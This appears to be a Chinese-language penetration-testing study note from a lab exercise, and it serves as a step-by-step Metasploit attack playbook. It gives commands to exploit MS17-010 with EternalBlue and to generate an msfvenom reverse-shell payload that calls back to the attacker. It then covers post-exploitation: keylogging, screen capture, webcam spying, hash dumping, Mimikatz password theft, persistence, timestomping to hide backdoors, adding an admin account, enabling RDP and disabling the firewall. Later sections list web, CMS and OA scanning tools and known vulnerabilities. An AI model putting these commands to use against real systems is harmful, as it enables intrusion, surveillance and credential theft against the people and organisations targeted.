MSF获取Windows的shell后
扫描器的使用
use auxiliary/scanner/smb/smb_ms17_010
攻击模块的使用
下一步操作:发起攻击 (Exploit)
既然扫描器已经告诉你目标是“易受攻击”的,你现在的动作应该是从 辅助模块(Scanner) 切换到 攻击模块(Exploit)。
请按照以下顺序输入命令:
切换模块:
Bash
1
use exploit/windows/smb/ms17_010_eternalblue
设置目标 IP:
Bash
1
set RHOSTS 192.168.20.135
设置攻击载荷(通常默认就是这个,但建议检查一下):
Bash
1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
设置你自己的 IP(Kali 的 IP,用于接收反弹回来的 Shell):
Bash
1
2# 先在另一个终端用 ip addr 确认你的网卡 IP
set LHOST [你的Kali的IP]开火攻击:
Bash
1
exploit
进入Windows之后的操作
1. 基础环境与权限感知
在任何操作之前,必须先弄清楚你的身份和所处的环境。
命令 实战意义 getuid最优先执行。查看当前用户。如果是 SYSTEM则拥有最高权限,否则需考虑提权。getsystem一键提权。利用多种内置技术尝试将权限提升至 SYSTEM。sysinfo获取目标机计算机名、OS版本、架构(x64/x86)。这对后续选择后渗透模块至关重要。 pwd/ls查看当前所在的目录及其文件,寻找有价值的文档或配置文件。”C:\Users\Sun\Desktop”
2. 秘密侦察与监控
这些命令用于获取目标用户的实时行为,且不容易被发觉。
命令 实战意义 ps查看进程列表。重点寻找:1. 杀软进程(避开监控);2. 用户常用进程(如浏览器、办公软件)。 screenshot实战大杀器。截取目标当前的屏幕。可以直接看到用户在做什么,甚至看到他在输密码。 keyscan_start开启键盘记录。记录用户在键盘上输入的所有内容(包括登录网页的账号密码)。 keyscan_dump导出并查看记录到的键盘内容。 webcam_stream开启摄像头实时监控(如果对方有摄像头)。
3. 凭据窃取(拿密码)
渗透的终极目标之一就是拿走密码,用于横向移动。
命令 实战意义 hashdump导出本地 SAM 数据库中的用户密码 Hash(NTLM)。拿到后可在 Kali 中用 John the Ripper破解。load kiwi加载 Mimikatz 插件。 creds_all在加载 kiwi 后使用,尝试从内存中直接抓取明文密码。
4. 权限维持与隐藏
防止因为对方重启或网络波动导致 Shell 丢失。
命令 实战意义 migrate [PID]进场必做。将当前 Shell 注入到稳定的系统进程(如 explorer.exe或services.exe)。防止原漏洞程序关闭导致连接中断。使用ps查看有用的进程run persistence自动化脚本。在目标机写注册表或启动项,实现永久控制(慎用,留痕较多)。 timestomp修改文件的“创建、修改、访问”时间。用于清理痕迹,让管理员无法通过时间排序找到你上传的后门文件。
5. 系统交互与内网渗透
当你需要更深度的操作时。
命令 实战意义 shell进入目标系统的标准命令行(CMD 或 PowerShell)。执行原生系统命令。 upload / download上传木马、脚本或下载目标的敏感资料、数据库文件。 portfwd内网穿透核心。将目标内网中其他机器的端口转发到本地。例如:将内网某数据库的 3306 转发到你的 Kali。
1. 核心操作:新建用户并授权
在 meterpreter > 提示符下输入 shell 进入 Windows 的 CMD 模式:
DOS
1 | C:\Windows\system32> net user guest123 Password@123 /add |
- 注意:如果显示“命令成功完成”,说明账号已创建。如果提示“密码不满足要求”,请尝试更复杂的密码,如
Admin#123.com。
2. 开启远程桌面(3389 端口)
MS17-010 拿到的 Shell 通常可以直接修改注册表来打开 RDP:
DOS
1 | # 1. 开启远程桌面功能 |
3. 在 Kali 上进行登录连接
不要关闭 MSF 会话,新开一个终端,使用 xfreerdp 连接目标:
Bash
1 | xfreerdp /u:guest123 /p:Password@123 /v:192.168.20.135 /dynamic-resolution |
如果连接被拒绝:可能是防火墙(Firewall)挡住了。
解决方法(在 Shell 中输入):
DOS
1
netsh advfirewall set allprofiles state off
MSF 的“一键懒人”命令
既然你在用 MSF,其实有一个比手动敲 net user 更简单的方法。直接在 Meterpreter 提示符下执行:
Bash
1 | meterpreter > run getgui -u hacker -p Hacker@123 |
- 这个脚本会自动帮你:
- 创建用户
hacker。 - 将其加入管理员组。
- 修改注册表开启 3389 端口。
- 自动处理防火墙策略。
- 创建用户
反弹shell生成
第一步:重新生成木马(以 64 位 Meterpreter 为例)
Bash
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.20.137 LPORT=6666 -f exe > shell.exe |
第二步:精准配置监听器
Bash
1 | use exploit/multi/handler |
第三步:在目标机(Windows 7)运行 shell.exe 一旦运行,你的 Kali 就会瞬间弹回一个 meterpreter > 提示符。
web模块的使用方法
1. 第一步:指纹识别与目录探测
在攻击之前,必须先了解对方网页使用的是什么技术架构(如 PHP, Apache, CMS 等)。
识别 Web 服务指纹:
Bash
1
2
3use auxiliary/scanner/http/http_version
set RHOSTS [靶机IP]
run敏感目录扫描(类似
dirb的功能):Bash
1
2
3use auxiliary/scanner/http/dir_scanner
set RHOSTS [靶机IP]
run
2. 第二步:使用 WMAP 进行全自动化 Web 扫描
WMAP 是 MSF 中专门用于 Web 扫描的插件,它集成了大量的 HTTP 辅助模块,可以自动扫描 SQL 注入、文件包含、目录遍历等漏洞。
操作流程:
加载 WMAP 插件:
Bash
1
load wmap
添加目标站点:
Bash
1
wmap_sites -a http://[靶机IP]:[端口]
定义扫描目标:
Bash
1
wmap_targets -t http://[靶机IP]:[端口]/index.php
列出并运行所有匹配的扫描模块:
Bash
1
2wmap_run -t # 检查哪些模块可用
wmap_run -e # 正式开始全量扫描查看结果:
Bash
1
wmap_vulns -l
3. 第三步:针对性扫描常见 Web 漏洞
如果你通过指纹识别发现了一些端倪,可以使用特定的扫描模块进行“点对点”探测。
| 漏洞类型 | 常用 MSF 扫描模块路径 |
|---|---|
| SQL 注入 | auxiliary/scanner/http/sql_injection |
| 通用目录遍历 | auxiliary/scanner/http/http_traversal |
| 敏感备份文件 | auxiliary/scanner/http/backup_file |
| Struts2 漏洞 | auxiliary/scanner/http/struts_scanner_ognl |
| 文件包含 (LFI) | auxiliary/scanner/http/lfi_dotdot_slash |
使用 MSF 专用模块扫描
既然你在学习 MSF,这是最推荐的方法。MSF 内置了多个针对 ThinkPHP 5 的扫描和利用模块。
搜索相关模块:
Bash
1
msf6 > search thinkphp
选择扫描/利用模块(推荐使用
rce模块):Bash
1
msf6 > use exploit/unix/webapp/thinkphp_rce
配置参数:
Bash
1
2
3msf6 > set RHOSTS [靶机IP]
msf6 > set RPORT [端口]
msf6 > set TARGETURI / # 如果是在public目录下,可能需要设为 /public/检查漏洞是否存在(不直接攻击):
Bash
1
msf6 > check
如果显示
The target is vulnerable,说明稳了!
靶场
flag{&LRDX@sU}
CMS
CMS 全称是 Content Management System(内容管理系统)。
在没有 CMS 的年代,改一个网页的标题都需要程序员去修改 HTML 代码。有了 CMS 后,你就像用 Word 文档一样,在后台打字、传图片,点击“发布”,网页就自动生成了。
- 核心组件:
- 后台界面:管理员登录后发文章、改配置的地方。
- 数据库:存储所有文字内容、用户信息。
- 模板/主题:决定网站的外观。
- 常见的 CMS:
- 个人/博客:WordPress (全球市场份额第一)。
- 企业/门户:DedeCMS (织梦)、帝国 CMS、PHPCMS。
- 论坛:Discuz!。
- 电商:Magento、ECShop。
2. 什么是 CMS 漏洞?
由于 CMS 是通用的开源软件,全世界都在用同一套代码。一旦某行代码被发现存在安全缺陷,所有使用该版本 CMS 的网站都会瞬间变成“活靶子”。
常见的 CMS 漏洞类型包括:
- 代码执行 (RCE):像你刚才玩的 ThinkPHP 漏洞一样,攻击者可以直接发送指令让服务器执行,从而拿到 Shell。
- SQL 注入:通过在文章搜索框、留言板输入恶意语句,把数据库里的管理员账号密码“骗”出来。
- 文件上传漏洞:CMS 允许用户传头像,但如果过滤不严,攻击者可以直接传一个 PHP 木马(WebShell)。
- 越权/弱口令:很多 CMS 安装后默认密码是
admin/admin888,或者可以通过特定路径绕过登录。
3. 著名的 CMS 漏洞(渗透必知)
在网络安全历史上,以下几个 CMS 漏洞非常出名,也是靶场和实战中经常遇到的:
① WordPress (插件/主题漏洞)
WordPress 核心代码其实很安全,但它庞大的第三方插件是重灾区。
- 例子:某个文件管理器插件存在漏洞,允许攻击者直接读取服务器上的
wp-config.php(内含数据库明文密码)。
② Drupal (Drupalgeddon)
- CVE-2014-3704 & CVE-2018-7600:被称为“Drupal 炸弹”。攻击者只需访问一个特定链接,无需任何账号,就能让服务器执行命令。这是 CMS 历史上最严重的漏洞之一。
③ DedeCMS (织梦) 任意文件写入
- 国内非常流行的 CMS。曾爆发过通过变量覆盖漏洞,在服务器上直接生成
.php后门文件的漏洞,导致大量中小企业网站被挂黑链。
④ Discuz! 插件命令执行
- 国内最大的论坛系统。其某些版本的插件(如某些统计插件)存在漏洞,可以通过精心构造的数据包直接控制服务器。
OA
1. 通达 OA (T0NDA)
通达 OA 在国内中小企业中使用率极高,它的漏洞历史非常辉煌,尤其是 RCE(远程代码执行) 组合拳。
- 典型漏洞:
- 任意用户登录 + 文件上传 RCE(2020年):通过构造特定的请求,可以绕过身份验证直接上传 PHP 木马。
- SQL 注入:通达 OA 早期版本在多个查询接口(如
check_auth.php)存在严重的注入漏洞。
- 特点:漏洞链通常比较直接,利用门槛较低。
2. 泛微 OA (Weaver e-cology / e-office)
泛微是国内 OA 的龙头老大,其安全漏洞在大型企业渗透中非常常见。
- 典型漏洞:
- BeanShell 远程代码执行(2019年):通过
/weaver/bsh.servlet.BshServlet路径,可以直接执行 Java 代码。这是泛微最出名的“神洞”。 - SQL 注入:常见的如
getSqlData接口注入,由于后端对 SQL 语句处理不当导致。 - 任意文件读取:可以读取系统的数据库配置文件(如
prop文件),直接拿到数据库密码。
- BeanShell 远程代码执行(2019年):通过
- 特点:泛微的漏洞往往与 Java 反序列化或配置不当有关。
3. 致远 OA (Seeyon)
致远 OA 是基于 Java 开发的,经常作为进入内网后的跳板。
- 典型漏洞:
- 任意文件上传导致 RCE(2019/2020年):通过
/seeyon/htmlofficeservlet等接口,攻击者可以绕过权限验证上传包含木马的压缩包并自动解压。 - SESSION 泄露导致的后台进入:通过特定漏洞获取管理员 Session,无需密码直接登录后台。
- 任意文件上传导致 RCE(2019/2020年):通过
- 特点:文件上传漏洞多发,且利用成功率极高。
4. 蓝凌 OA (Landray)
蓝凌 OA 在大型国企和金融机构中应用广泛。
- 典型漏洞:
- 任意文件读取:通过
custom.jsp等路径读取敏感文件。 - SSRF (服务端请求伪造):攻击者可以利用 OA 服务器作为跳板,扫描或攻击内网其他不联网的服务器。
- 任意文件读取:通过
- 特点:蓝凌的漏洞往往与某些第三方组件(如 EKP 框架)的漏洞捆绑在一起。
5. OA 系统漏洞的通用“套路”
在渗透测试中,扫描 OA 漏洞通常遵循以下逻辑:
| 步骤 | 操作内容 | 关键点 |
|---|---|---|
| 1. 识别指纹 | 通过 Web 标题、图标或路径判定厂商 | 如 e-cology (泛微), seeyon (致远) |
| 2. 探测漏洞 | 使用 Nuclei、Goby 或专门的 OA 综合扫描器 | 优先探测 RCE 和 任意文件上传 |
| 3. 拿下 Shell | 上传冰蝎 (Behinder) 或 哥斯拉 (Godzilla) 木马 | OA 系统多为 Java/PHP 环境 |
| 4. 敏感信息 | 读取配置文件,连接数据库 | 获取员工名单、工资条或内网 VPN 账号 |
Web漏洞查找方法
1. 指纹识别工具
在攻击之前,你必须先知道目标是 WordPress、Discuz 还是 ThinkPHP。
WhatWeb (最常用):
不仅能识别 CMS,还能识别 Web 服务器版本、插件、甚至邮箱地址。
Bash
1
whatweb http://192.168.20.135
Wappalyzer (命令行版):
识别网站技术栈(语言、框架、数据库)。在 Kali 中可以使用 webanalyze 或浏览器插件版。
CMSeek:
专门针对 CMS 的自动化识别工具,支持 180 多种 CMS。
Bash
1
python3 cmseek.py -u http://example.com
2. 专项 CMS 扫描器(针对性最强)
如果你已经确认了 CMS 类型,使用专项扫描器会比通用扫描器精准得多。
WPScan:
WordPress 玩家必备。它可以扫描过时的插件、主题,甚至是暴力破解用户名。
Bash
1
wpscan --url http://target.com --enumerate p (枚举插件)
Droopescan:
针对 Drupal、Joomla、Moodle 和 SilverStripe 的扫描器。
JoomScan:
专门针对 Joomla 系统的漏洞扫描工具。
3. Web 漏洞通用扫描器(扫出具体漏洞)
这些工具不关心你是什么 CMS,它们通过发送恶意 Payload 来测试常见的 SQL 注入、XSS 等。
Nikto:
Kali 内置的经典 Web 扫描器,能发现 6000 多个危险文件和过时软件。
Bash
1
nikto -h http://192.168.20.135
Nuclei (当前最流行):
基于模板的极速扫描器。你可以使用社区维护的几千个 YAML 模板来探测各种 CVE 漏洞(包括最新的 OA 和 CMS 漏洞)。
Bash
1
nuclei -u http://target.com
Uniscan:
集成了文件指纹识别、目录扫描、以及简单的 SQLI/XSS 扫描。
4. 辅助探测命令(手动确认)
Nmap (http-enum 脚本):
Nmap 不止能扫端口,还可以枚举 Web 目录:
Bash
1
nmap -sV --script http-enum 192.168.20.135
Dirsearch / Gobuster:
用于发现隐藏的后台、备份文件(如 .tar.gz、.bak)或敏感目录。
Bash
1
dirsearch -u http://192.168.20.135 -e php,txt,zip
5. 综合联动:MSF 中的扫描模块
可以直接利用它内置的探测模块:
| 模块名称 | 用途 |
|---|---|
auxiliary/scanner/http/http_version |
识别 Web 服务器版本 |
auxiliary/scanner/http/dir_scanner |
扫描 Web 目录 |
auxiliary/scanner/http/wordpress_scanner |
扫描 WP 漏洞 |
auxiliary/scanner/http/title |
获取所有网页标题(快速筛选目标) |





